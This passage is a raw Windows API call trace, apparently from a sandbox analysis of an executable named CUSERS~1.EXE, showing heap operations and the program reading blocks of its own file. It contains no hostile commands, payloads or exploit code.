Flags=0x0, Size=0x180) returned 0x2bbd6c8 [0073.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8ae70 [0073.656] GetCurrentThreadId () returned 0x9b0 [0073.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0073.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0073.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0073.656] GetCurrentThreadId () returned 0x9b0 [0073.656] GetCurrentThreadId () returned 0x9b0 [0073.656] GetCurrentThreadId () returned 0x9b0 [0073.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0073.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0073.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0073.657] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba3a50, Size=0x14) returned 0x2ba3a50 [0073.657] GetCurrentThreadId () returned 0x9b0 [0073.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0073.657] GetCurrentThreadId () returned 0x9b0 [0073.657] GetCurrentThreadId () returned 0x9b0 [0073.657] GetCurrentThreadId () returned 0x9b0 [0073.657] GetCurrentThreadId () returned 0x9b0 [0073.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0073.657] GetCurrentThreadId () returned 0x9b0 [0073.657] GetCurrentThreadId () returned 0x9b0 [0073.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0073.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0073.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.657] GetCurrentThreadId () returned 0x9b0 [0073.657] GetCurrentThreadId () returned 0x9b0 [0073.657] GetCurrentThreadId () returned 0x9b0 [0073.657] GetCurrentThreadId () returned 0x9b0 [0073.657] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.657] GetCurrentThreadId () returned 0x9b0 [0073.657] GetCurrentThreadId () returned 0x9b0 [0073.657] GetCurrentThreadId () returned 0x9b0 [0073.657] GetLastError () returned 0x0 [0073.657] GetLastError () returned 0x0 [0073.657] GetLastError () returned 0x0 [0073.657] GetLastError () returned 0x0 [0073.657] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a200d8 [0073.658] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17988 [0073.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17988 | out: hHeap=0x2ad0000) returned 1 [0073.658] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8aea0 [0073.658] GetLastError () returned 0x0 [0073.658] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9868, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.658] GetFileType (hFile=0x1e8) returned 0x1 [0073.658] GetLastError () returned 0x0 [0073.658] GetCurrentThreadId () returned 0x9b0 [0073.658] GetLastError () returned 0x0 [0073.658] GetFileType (hFile=0x1e8) returned 0x1 [0073.658] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9b98e4 | out: lpFileInformation=0x9b98e4) returned 1 [0073.658] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0073.658] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0073.658] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f0, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0073.658] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0073.658] FileTimeToLocalFileTime (in: lpFileTime=0x9b98e8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0073.658] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0073.658] GetLastError () returned 0x0 [0073.658] GetCurrentThreadId () returned 0x9b0 [0073.658] GetLastError () returned 0x0 [0073.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aea0 | out: hHeap=0x2ad0000) returned 1 [0073.658] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200d8 | out: hHeap=0x2ad0000) returned 1 [0073.659] GetLastError () returned 0x0 [0073.659] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7340555, lpDistanceToMoveHigh=0x9b9998*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9998*=0) returned 0x70020b [0073.659] GetLastError () returned 0x0 [0073.659] GetCurrentThreadId () returned 0x9b0 [0073.659] GetLastError () returned 0x0 [0073.659] GetCurrentThreadId () returned 0x9b0 [0073.659] GetLastError () returned 0x0 [0073.659] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7334803, lpDistanceToMoveHigh=0x9b9d30*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9d30*=0) returned 0x6feb93 [0073.659] GetLastError () returned 0x0 [0073.659] GetCurrentThreadId () returned 0x9b0 [0073.659] GetLastError () returned 0x0 [0073.659] GetCurrentThreadId () returned 0x9b0 [0073.659] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x415) returned 0x2ba4f08 [0073.659] GetLastError () returned 0x0 [0073.659] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2ba5328 [0073.659] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ba5328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b9ce4, lpOverlapped=0x0 | out: lpBuffer=0x2ba5328*, lpNumberOfBytesRead=0x9b9ce4*=0x1000, lpOverlapped=0x0) returned 1 [0073.659] GetLastError () returned 0x0 [0073.659] GetCurrentThreadId () returned 0x9b0 [0073.659] GetLastError () returned 0x0 [0073.659] GetCurrentThreadId () returned 0x9b0 [0073.659] GetLastError () returned 0x0 [0073.659] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b89bc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b89bc*=0) returned 0x6ffb93 [0073.659] GetLastError () returned 0x0 [0073.660] GetCurrentThreadId () returned 0x9b0 [0073.660] GetLastError () returned 0x0 [0073.660] GetLastError () returned 0x0 [0073.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba5328 | out: hHeap=0x2ad0000) returned 1 [0073.660] CloseHandle (hObject=0x1e8) returned 1 [0073.660] GetLastError () returned 0x0 [0073.660] GetCurrentThreadId () returned 0x9b0 [0073.660] GetLastError () returned 0x0 [0073.660] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2ba5328 [0073.660] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2bbdc70 [0073.660] GetLastError () returned 0x0 [0073.660] GetCurrentThreadId () returned 0x9b0 [0073.660] GetLastError () returned 0x0 [0073.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba5328 | out: hHeap=0x2ad0000) returned 1 [0073.660] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bbdc70, Size=0xc9b) returned 0x2bbdc70 [0073.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba4f08 | out: hHeap=0x2ad0000) returned 1 [0073.660] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17988 [0073.660] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c17988, Size=0x20) returned 0x2a1fb00 [0073.660] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb00, Size=0x40) returned 0x2a18c20 [0073.660] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18c20, Size=0x64) returned 0x2a19ab8 [0073.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19ab8 | out: hHeap=0x2ad0000) returned 1 [0073.660] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbdc70 | out: hHeap=0x2ad0000) returned 1 [0073.660] GetCurrentThreadId () returned 0x9b0 [0073.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b010 [0073.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b010 | out: hHeap=0x2ad0000) returned 1 [0073.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbd0a8 [0073.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8aed0 [0073.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a718c0 [0073.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c178e0 [0073.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aff0 [0073.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8ae60 [0073.661] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8aff0, Size=0x14) returned 0x2a71680 [0073.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae60 | out: hHeap=0x2ad0000) returned 1 [0073.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c178e0 | out: hHeap=0x2ad0000) returned 1 [0073.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718c0 | out: hHeap=0x2ad0000) returned 1 [0073.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aed0 | out: hHeap=0x2ad0000) returned 1 [0073.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0073.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8aff0 [0073.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1f9c0 [0073.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a18 [0073.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8ae90 [0073.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b000 [0073.661] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8ae90, Size=0x14) returned 0x2a71620 [0073.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b000 | out: hHeap=0x2ad0000) returned 1 [0073.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a18 | out: hHeap=0x2ad0000) returned 1 [0073.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f9c0 | out: hHeap=0x2ad0000) returned 1 [0073.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aff0 | out: hHeap=0x2ad0000) returned 1 [0073.661] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.661] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c179d0 [0073.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b010 [0073.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb00 [0073.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17b50 [0073.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b030 [0073.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af80 [0073.662] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b030, Size=0x14) returned 0x2a718c0 [0073.662] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a718c0, Size=0x24) returned 0x2a20138 [0073.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af80 | out: hHeap=0x2ad0000) returned 1 [0073.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17b50 | out: hHeap=0x2ad0000) returned 1 [0073.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb00 | out: hHeap=0x2ad0000) returned 1 [0073.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b010 | out: hHeap=0x2ad0000) returned 1 [0073.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20138 | out: hHeap=0x2ad0000) returned 1 [0073.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c178f8 [0073.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b030 [0073.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fbc8 [0073.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17910 [0073.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aff0 [0073.662] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8ae60 [0073.662] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8aff0, Size=0x14) returned 0x2a71660 [0073.662] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71660, Size=0x24) returned 0x2a20078 [0073.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae60 | out: hHeap=0x2ad0000) returned 1 [0073.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17910 | out: hHeap=0x2ad0000) returned 1 [0073.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fbc8 | out: hHeap=0x2ad0000) returned 1 [0073.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b030 | out: hHeap=0x2ad0000) returned 1 [0073.662] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0073.662] GetCurrentThreadId () returned 0x9b0 [0073.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c179e8 [0073.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1f9c0 [0073.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb00 [0073.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71840 [0073.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aed0 [0073.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c17880 [0073.663] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8aed0, Size=0x14) returned 0x2a71880 [0073.663] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a71880, Size=0x24) returned 0x2a20228 [0073.663] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17880 | out: hHeap=0x2ad0000) returned 1 [0073.663] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.663] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb00 | out: hHeap=0x2ad0000) returned 1 [0073.663] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f9c0 | out: hHeap=0x2ad0000) returned 1 [0073.663] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c179e8 | out: hHeap=0x2ad0000) returned 1 [0073.663] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20228 | out: hHeap=0x2ad0000) returned 1 [0073.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17958 [0073.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8aed0 [0073.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1f9c0 [0073.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a90 [0073.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b050 [0073.663] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8ae90 [0073.663] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b050, Size=0x14) returned 0x2a71580 [0073.663] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae90 | out: hHeap=0x2ad0000) returned 1 [0073.663] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a90 | out: hHeap=0x2ad0000) returned 1 [0073.663] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f9c0 | out: hHeap=0x2ad0000) returned 1 [0073.663] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aed0 | out: hHeap=0x2ad0000) returned 1 [0073.663] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0073.663] GetCurrentThreadId () returned 0x9b0 [0073.663] GetCurrentThreadId () returned 0x9b0 [0073.663] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.664] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0073.664] GetCurrentThreadId () returned 0x9b0 [0073.664] GetCurrentThreadId () returned 0x9b0 [0073.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0073.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0073.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0073.664] GetCurrentThreadId () returned 0x9b0 [0073.664] GetCurrentThreadId () returned 0x9b0 [0073.664] GetCurrentThreadId () returned 0x9b0 [0073.664] GetCurrentThreadId () returned 0x9b0 [0073.664] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a140 | out: hHeap=0x2ad0000) returned 1 [0073.664] GetCurrentThreadId () returned 0x9b0 [0073.664] GetCurrentThreadId () returned 0x9b0 [0073.664] GetLastError () returned 0x0 [0073.664] GetLastError () returned 0x0 [0073.664] GetLastError () returned 0x0 [0073.664] GetLastError () returned 0x0 [0073.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a1fef8 [0073.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a00 [0073.664] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a00 | out: hHeap=0x2ad0000) returned 1 [0073.664] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8af30 [0073.664] GetLastError () returned 0x0 [0073.664] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9868, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.664] GetFileType (hFile=0x1e8) returned 0x1 [0073.664] GetLastError () returned 0x0 [0073.665] GetCurrentThreadId () returned 0x9b0 [0073.665] GetLastError () returned 0x0 [0073.665] GetFileType (hFile=0x1e8) returned 0x1 [0073.665] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9b98e4 | out: lpFileInformation=0x9b98e4) returned 1 [0073.665] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0073.665] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0073.665] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f0, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0073.665] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0073.665] FileTimeToLocalFileTime (in: lpFileTime=0x9b98e8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0073.665] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0073.665] GetLastError () returned 0x0 [0073.665] GetCurrentThreadId () returned 0x9b0 [0073.665] GetLastError () returned 0x0 [0073.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af30 | out: hHeap=0x2ad0000) returned 1 [0073.665] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fef8 | out: hHeap=0x2ad0000) returned 1 [0073.665] GetLastError () returned 0x0 [0073.665] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7335827, lpDistanceToMoveHigh=0x9b9998*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9998*=0) returned 0x6fef93 [0073.665] GetLastError () returned 0x0 [0073.665] GetCurrentThreadId () returned 0x9b0 [0073.665] GetLastError () returned 0x0 [0073.665] GetCurrentThreadId () returned 0x9b0 [0073.665] GetLastError () returned 0x0 [0073.665] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7352046, lpDistanceToMoveHigh=0x9b9d30*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9d30*=0) returned 0x702eee [0073.665] GetLastError () returned 0x0 [0073.665] GetCurrentThreadId () returned 0x9b0 [0073.665] GetLastError () returned 0x0 [0073.665] GetCurrentThreadId () returned 0x9b0 [0073.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2728) returned 0x2c36d30 [0073.666] GetLastError () returned 0x0 [0073.666] ReadFile (in: hFile=0x1e8, lpBuffer=0x2c36d44, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x9b9cf8, lpOverlapped=0x0 | out: lpBuffer=0x2c36d44*, lpNumberOfBytesRead=0x9b9cf8*=0x2000, lpOverlapped=0x0) returned 1 [0073.666] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2c20250 [0073.666] ReadFile (in: hFile=0x1e8, lpBuffer=0x2c20250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b9ce4, lpOverlapped=0x0 | out: lpBuffer=0x2c20250*, lpNumberOfBytesRead=0x9b9ce4*=0x1000, lpOverlapped=0x0) returned 1 [0073.666] GetLastError () returned 0x0 [0073.666] GetCurrentThreadId () returned 0x9b0 [0073.666] GetLastError () returned 0x0 [0073.666] GetCurrentThreadId () returned 0x9b0 [0073.666] GetCurrentThreadId () returned 0x9b0 [0073.666] GetLastError () returned 0x0 [0073.666] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b89bc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b89bc*=0) returned 0x705eee [0073.666] GetLastError () returned 0x0 [0073.666] GetCurrentThreadId () returned 0x9b0 [0073.666] GetLastError () returned 0x0 [0073.666] GetLastError () returned 0x0 [0073.666] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c20250 | out: hHeap=0x2ad0000) returned 1 [0073.666] CloseHandle (hObject=0x1e8) returned 1 [0073.666] GetLastError () returned 0x0 [0073.666] GetCurrentThreadId () returned 0x9b0 [0073.666] GetLastError () returned 0x0 [0073.667] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2ba4f08 [0073.667] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2c2b208 [0073.667] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8000) returned 0x2bbdc70 [0073.667] GetLastError () returned 0x0 [0073.667] GetCurrentThreadId () returned 0x9b0 [0073.667] GetLastError () returned 0x0 [0073.667] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c2b208, Size=0x8015) returned 0x2c39460 [0073.668] GetLastError () returned 0x0 [0073.668] GetCurrentThreadId () returned 0x9b0 [0073.668] GetLastError () returned 0x0 [0073.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbdc70 | out: hHeap=0x2ad0000) returned 1 [0073.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba4f08 | out: hHeap=0x2ad0000) returned 1 [0073.668] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c39460, Size=0x6c4b) returned 0x2c39460 [0073.668] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c36d30 | out: hHeap=0x2ad0000) returned 1 [0073.668] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c179b8 [0073.668] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c179b8, Size=0x20) returned 0x2a1fa10 [0073.668] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fa10, Size=0x40) returned 0x2a18d40 [0073.668] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18d40, Size=0x64) returned 0x2a19888 [0073.668] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19888, Size=0x8c) returned 0x2ac0910 [0073.668] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0910, Size=0xb8) returned 0x2ac14f8 [0073.668] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2dd) returned 0x2ba4f08 [0073.668] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac14f8, Size=0xe8) returned 0x2ac24d0 [0073.668] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac24d0, Size=0x120) returned 0x2ba5908 [0073.668] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x36f) returned 0x2ba61f8 [0073.668] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba5908, Size=0x160) returned 0x2c37a00 [0073.668] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2f1) returned 0x2ba6570 [0073.668] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37a00, Size=0x1a8) returned 0x2ac92b0 [0073.668] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac92b0, Size=0x1f8) returned 0x2ba7b70 [0073.668] RtlAllocateHeap 